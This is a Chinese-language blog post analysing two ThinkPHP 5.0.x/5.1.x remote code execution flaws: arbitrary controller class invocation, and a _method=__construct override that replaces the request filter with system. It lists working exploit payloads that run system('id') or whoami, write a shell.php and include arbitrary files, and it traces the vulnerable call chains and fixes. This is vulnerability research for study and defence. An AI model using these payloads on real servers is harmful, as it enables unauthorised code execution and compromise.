ThinkPHP5.0.x RCE分析

thinkphp中的RCE漏洞比较出名,在这里从源码层面分析学习。

RCE之调用任意类的任意方法

漏洞概述

ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致rce的产生。

漏洞影响版本: 5.0.7<=5.0.x<=5.0.22 、5.1.0<=5.1.x<=5.1.30

payload:

1
2
3
4
5
6
7
8
9
10
11
12
# 5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../composer.json # 包含任意文件
?s=index/\think\Config/load&file=../test.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[]=system&vars[][]=id

# 5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[]=system&vars[][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[]=system&vars[][]=id

漏洞分析

使用这个payload来分析:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[]=system&vars[][]=id

使用thinkphp 5.0.10,默认有index的模块,发送以上payload,下断点调试。

从这里开始

跟进App::run(),这里自动加载App类,跳出即可

run函数里先进行了初始化(self::initCommon()),之后加载语言包,我们重点关注路由检测

跟进self::routeCheck,这里先使用$request->path()获取到了我们通过s传入的值,之后进行路由检测。
在第563行,会读取配置中的url_route_must值,表示是否强制使用路由,默认是false的,所以才能进入下一步。

官方最开始的修复方案之一就是将url_route_must设置为true

之后继续进入571行的Route::parseUrl,可以看到这里将url解析为了模块、控制器和操作,而这三个都是从$path数组中取得的,$path数组由1212行的self::parseUrlPath返回

跟进1212行的self::parseUrlPath,可以看到就是将url以/打散为数组

解析url完成后,得到了模块、控制器和操作。之后会使用self::exec来执行请求。

跟进123行的exec,执行的是一个模块

继续跟进,默认是支持多模块的,之后会判断模块是否存在(模块在application目录下,一个模块是一个文件夹),已经模块是否已经被禁用

之后获取控制器名和操作名,实例化控制器,最后调用self::invokeMethod来反射调用函数。

可见这里没有一点点过滤的操作,只是判断了控制器是否存在,操作是否存在等,其本质就是判断类和类中的函数存不存在。

跟进invokeMethod,先使用反射实例化了类,之后使用self::bindParams获取参数,最后使用$reflect->invokeArgs实现调用。

跟进self::bindParams,看一下参数是怎么传进来的

可以看到使用了Request::instance()->param()获取请求的参数,之后按照所调用的函数所需要的参数变量名来设置参数。

所以我们调用什么函数就传入该函数所需要的参数值就可以了

漏洞最终触发点在197行的$reflect->invokeArgs

在之后就是调用了我们传入的think\appinvokefunction函数,其执行我们传入的函数和参数

整个调用链为:

其实这整个过程就是是thinkphp的生命周期的一部分,问题出在没有对用户输入的控制器名字进行检测和过滤,导致可以实例化任意类,执行类中的任意方法,而且还可以自行传入参数。

漏洞修复

官方的修复方案是对控制器进行正则过滤

RCE之调用Request类任意方法

5.0.10开始默认debug为false

漏洞描述

thinkphp在获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 5.0.8 ~ 5.0.20(5.0.14及以后需要debug=true
POST /?s=index
_method=__construct&filter=system&a=whoami


# 5.0.21 ~ 5.0.23(需要debug=true
POST /
_method=__construct&filter=system&server[REQUEST_METHOD]=whoami


# 5.0.2 ~ 5.0.23(5.0.14及以后需要debug=true),需要存在xxx的method路由,例如captcha
# 5.1.0 ~ 5.1.6 (除了5.1.0以外,别的需要debug=true
POST /?s=xxx HTTP/1.1
_method=__construct&filter=system&method=get&a=whoami

漏洞分析

thinkphp5.0.8、 debug=false

使用的payload如下:

1
2
POST /?s=index
_method=__construct&filter=system&a=whoami

漏洞rce的执行点位于Request.php的filterValue函数,的call_user_func函数,这里通过控制传入filterValue函数的参数$value$filters来进行rce

从开始调试。

正常情况下,thinkphp经过了解析控制器名,操作名等之后调用invokeMethod执行控制器类的方法,在invokeMethod里,调用了self::bindParams

跟进,其调用了Request的param函数,用来获取请求变量

跟进param函数,之后根据请求方式为POST,调用了post方法获取POST的参数,之后再将post的参数与GET的参数进行合并,赋值给$this->param。最后调用$this->input,对其进行过滤。

跟进这里的input方法,这里参数name值为空字符串。
之后使用$this->getFilter获取到过滤器,再调用array_walk_recursive($data, [$this, 'filterValue'], $filter);进行过滤操作。

先看看过滤器获取getFilter函数,其实就是获取了类成员变量$this->filter

array_walk_recursive($data, [$this, 'filterValue'], $filter);会将$data数组中的每个元素传入filterValue函数,将$filter作为额外的参数

这里会调用call_user_func,来将$value作为参数调用$filter,可以看到这里的$filter为system,而$value是post的数据一个一个以此传入。

那么问题来了,这个$filter是在什么时候被赋值成为了system?

我们知道,这个filter其实来源于Request->filter的成员变量,这里直接在Request的构造函数中下断点,发现调用了两次__construct

第二次调用是在routeCheck时调用的

在Route的check函数中,调用了$request->method()方法,在这里下断点,进入method函数

这里thinkphp为了实现请求类型伪装,设置了var_method的配置项,其默认值为_method

可见,这里可以通过控制_method字段来进行类的任意方法调用,传入的参数为$_POST

https://www.kancloud.cn/manual/thinkphp5/160568

因此,可以通过将_method值设置为__construct,从而再次调用构造函数,利用构造函数来覆盖filter变量的值

总结一下:整个利用过程只需要一个请求,可以分成两步理解

第一步,利用请求类型伪装时的_method参数没有进行过滤,调用Request的__construct函数,重新覆盖Request对象的成员变量filter

用到的payload的_method=__construct&filter=system部分
调用栈: App::routeCheck -> Route::check -> Request::method -> Request::__construct

第二步,在使用Request的input函数来进行过滤输入参数的时候,触发rce

用到payload的a=calc部分
调用栈: App::exec -> App::module -> App::invokeMethod -> App::bindParams -> Request::param -> Request::input -> array_walk_recursive -> Request::filterValue -> call_user_func

thinkphp5.0.14、debug=true

使用的payload如下:

1
2
POST /?s=index
_method=__construct&filter=system&a=whoami

在thinkphp5.0.13中,App的module函数中添加设置了默认过滤器,导致之前我们通过__construct覆盖的filter成员变量会再次被修改

所以之前的利用链行不通,但是在开启了debug的情况下,在App的run方法中,有记录路由和请求的代码,其中调用了$request->param(),同样可以达到最后的rce

调用链:

thinkphp5.0.7、debug=false

1
2
POST /?s=index HTTP/1.1
_method=__construct&filter=system&method=get&a=whoami

在thinkphp5.0.7中,Route中check函数在使用$request->method()获取method之后,用这个method到self::$rules中获取数据,在这里会产生错误,从而终止程序

在5.0.8中,这里的rules做了一个容错,所以不会报错

这里使用的payload增加了一个method=get,因为method也是Request的一个成员变量,同样可以在执行Request::__construct的时候将method进行重新赋值。所以这里使用method=getmethod成员变量设置为get,同时也达到了覆盖filter的目的。

调用链:

thinkphp5.0.21、debug=true

1
2
POST /
_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

在5.0.21中,将Request的method方法中获取原始请求类型的方式进行了修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 在5.0.21之前
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
...
}
return $this->method;
}


// 在5.0.21及之后版本
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
...
}
return $this->method;
}

server()函数获取请求方法的时候,其内部调用了input函数来获取变量并进行过滤。
之前的payload_method=__construct&filter=system&a=whoami在这一步的时候,会使用我们传入的过滤器system,执行system($_SERVER[REQUEST_METHOD]),而返回空,从而使得method函数返回值为GET,从而之前的利用方法失败。

因此,这个版本的payload是_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

通过覆盖$_SERVER[REQUEST_METHOD]变量,使得其在input的时候就进行rce

调用链:

漏洞修复

漏洞修复是在Request的method函数获取_method变量后对其进行过滤:
修复前:

修复后:
a

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2022/11/08/thinkphp/thinkphp5.0.x RCE分析/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog